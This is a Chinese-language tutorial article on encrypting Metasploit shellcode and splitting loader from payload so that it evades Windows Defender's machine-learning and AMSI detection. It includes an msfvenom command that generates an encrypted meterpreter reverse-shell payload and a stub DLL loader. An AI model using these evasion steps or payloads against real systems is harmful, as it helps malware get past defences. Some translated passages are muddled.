您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關如何隱藏Metasploit Shellcode 以躲避Windows Defender查殺,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
在安全領域的攻擊方面,我個人非常尊敬反病毒軟件行業的研究員和工程師,和那些專注于投資反病毒軟件的公司們。如果說惡意軟件開發是一場貓鼠游戲,那么我會說這個行業創造了最可怕的獵人。在使用Mertasploit時,滲透測試人員和紅隊隊員遭受最多的折磨,這就迫使我調查如何通過提高我們的payload evasion,說實話,它真的太難了。
對于這個實驗,我有兩個非常重要的要求:
找到重新使用現存的Metassploit shellcode的解決方法;
未經修改的shellcode不應該被流行的反病毒軟件檢測到。
Metasploit shellcode面臨的挑戰之一就是它們很小,因為大小會影響到各種戰術推理。這也使shellcode很難改進,并且最終,所有的AV分類器都有”EVIL”字樣。你沒有機會。
大部分現代反病毒引擎都是由機器學習提供支持,而且這對于AV evasion而言是一個巨大的規則變革者。AV引擎不僅在檢測潛在威脅方面更加智能,他們反應速度也更快。只要你的代碼行為有一點像惡意軟件,惡意軟件可能只是利用錯誤的Windows API(例如WriteProcessMemory 甚至VirtualAlloc),其中一個AI檢查器就會幫助你。惡意軟件研究人員也會復制一分你的代碼,這就意味著將會在幾分鐘內銷毀你所有的辛勤工作。
描述基于機器學習的反病毒程序的最好方法就是它在設計上有兩個組件:客戶端 ML和云ML。
客戶端ML是與我們這些用戶有互動的東西。絕大部分掃描對象都是由內置于Windows Defender 客戶端的輕量級機器學習組件進行評估的。這些組件在操作系統中運行。
根據微軟所言,諸如傳統簽名,泛型,行為檢測,啟發法等等這些分類,占據客戶端惡意軟件的97%。利用這種分類器,客戶端可以收集程序的“特征”,這些特征就意味著被掃描物體的可測數據和特點。
客戶端機器可以獨立運行,但是沒有云,Windows Defender在檢測已知威脅方面最好,而不是未知。這就意味著如果你鏈接到內部有困難,那么你更容易受到來自內部的攻擊。
云ML一種很神秘的東西,因為除了某些發布在微軟網站上的博客文章和一個使用LightGBM框架的提示,我們不能訪問別的代碼和訓練數據。
LightGBM框架是基于DecisionTree 模型,盡管流行,但是問任何一個機器學習專家,他們都會告訴你這是非常基礎的。擁有計算機科學學位的大學畢業生也應該能告訴你不少關于ightGBM框架的內容。
在機器學習中,最熱門的話題就是深度學習。盡管微軟有一個深度學習toolkit叫做CNTK,但是并沒有很多關于Windows Defender的云ML使用CNTK的信息。所以這并不是我們將會進一步討論的內容。
我們所知道的是:客戶端ML何時不能做出明智的裁決,他將會把云服務器用于深度分析。而且當這個進程被牽扯進來時,它就變成了惡意軟件的噩夢。
分析的第一輪是基于惡意數據的ML模塊。在你的操作系統中,這可能是云交付保護選項,以及你會注意到它實際上是由于額外的延遲,當你在Windows 上執行文件。通常,對我而言逃避客戶端ML的靜態和實時保護,它不是一個問題。但是當云交付保護開啟時,我失敗了。
為了充分利用云服務,這有另一個選項,叫做Automatic Sample Submission,它可以把您的可疑程序發送給微軟,并通過額外的檢測運行,例如基于樣本分析和基于detonation的ML模塊。如果云判定你的代碼是惡意的,它將會打上泛型AI標簽中的一個:Fuerbkks,Fury, Cloxer, 或 Azden。之后你的攻擊就不再起作用了。
Antimalware Scan Interface (AMSI)是一個由微軟創造的程序設計端口,允許任何Windows應用程序利用Windows Defender引擎并掃描惡意輸入,這會讓AV evasion更加困難。一個此類應用程序的例子是Powershell,它給我們一個機會可以討論為什么當Powershell涉及到AV evasion時,就不是你最重要的朋友。
Powershell已經成為攻擊者的大型游樂場,因為與傳統的可執行文件相比,反病毒軟件在檢查時效果不佳。您還可以將一行Powershell代碼作為Powershell.exe的論點,這會造成隱形,因為技術上我們沒有接觸到磁盤。例如:
powershell.exe -command"WriteOutput[Convert]::FromBase64String('SGVsbG8gV29ybGQh')"
這就是Powershell出賣你的地方。在底層,實際上Powershell調用AmsiScanBuffer函數來詢問Windows Defender用戶提供的代碼是否是惡意的。:
Powershell被嚴重濫用,它開始看起來可預測。如果你是一個IT管理員,而且你看到一些Base64字符串被傳遞給Powershell.exe,他可能不是很好。作為一個攻擊者,我們應該意識到Powershell不再是每一個每個人的最喜歡的payload技術。AMSI為任何Windows應用程序提供了從Windows Defender的功能中收益的能力,這使腳本語言它更難以濫用。
盡管Windows Defender配備了所有的技術,但是他并不是沒有盲點。為了確保我們的payload可以生存,我發現了一些我想要分享的提示:
如果你非常熟悉Metasploit 框架,你將會知道這里有一個叫做encoders的模塊類型。一個編碼器的目的是在漏洞中繞過有問題的字符。舉個例子,如果你正在利用緩沖區溢出,你的長字符串中一個空字符都不能有。我們可以使用編碼器來改變空字節,然后在運行時把它改回來。
我非常確定,在你生活的某一個時刻,你會嘗試使用編碼器來繞過AV。盡管有些時候它會起作用,編碼器并不適合AV evasion,你應該使用加密。
加密是一種能夠有效反擊反病毒軟件靜態掃描功能的方法,因為AV引擎不能立刻爆破它。目前,這有一些msfvenom支持的加密算法保護你的shellcode:AES256-CBC,RC4,Base64,和XOR。
用msfvenom生成一個加密的shellcode,這是一個使用Metasploit 5的例子:
ruby ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 --encrypt rc4 --encrypt-key thisisakey -f c
上面的生成一個用RC4加密的windows/meterpreter/reverse_tcp.它也可以用C模式生成,以便你可以在C/C++中構建你個人的加載程序。盡管反病毒軟件不擅長靜態掃描加密shellcode,運行時的監控仍然是一道強力的防線。解密和執行后很容易抓取。
運行監測真的很難欺騙,因為在一天結束時,你需要執行代碼,一旦您這樣做了,反病毒軟件會記錄您的一舉一動,然后最終確定你是惡意軟件。然而,如果你可以把loader和不同進程空間中的真實payload分離,這似乎就不是什么問題了。
這是我嘗試執行解密payload的時候注意到的行為。首先,我能夠很好解密我的shellcode,由于我的惡意shellcode仍在內存中,但是只要我試圖像這樣從函數指針中執行它,AV就會抓住我:
int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();
然而,如果我把最后一行移走,然后AV對程序就會很友好:
(int)(*func)();
這似乎意味著,只要你不執行它,把惡意代碼放在它的內存中通常沒問題。運行時分析很大程度上依賴于實際執行的代碼;它不關心程序可能會做什么。當然,這是有意義的。如果是這樣,性能損失太高了了。
因此,我沒有使用函數指針,而是使用LoadLibrary解決加載器的問題。
#include <iostream>
#include <Windows.h>
int main(void) {
HMODULE hMod = LoadLibrary("shellcode.dll");
if (hMod == nullptr) {
cout << "Failed to load shellcode.dll" << endl;
}
return 0;
}
看完上述內容,你們對如何隱藏Metasploit Shellcode 以躲避Windows Defender查殺有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。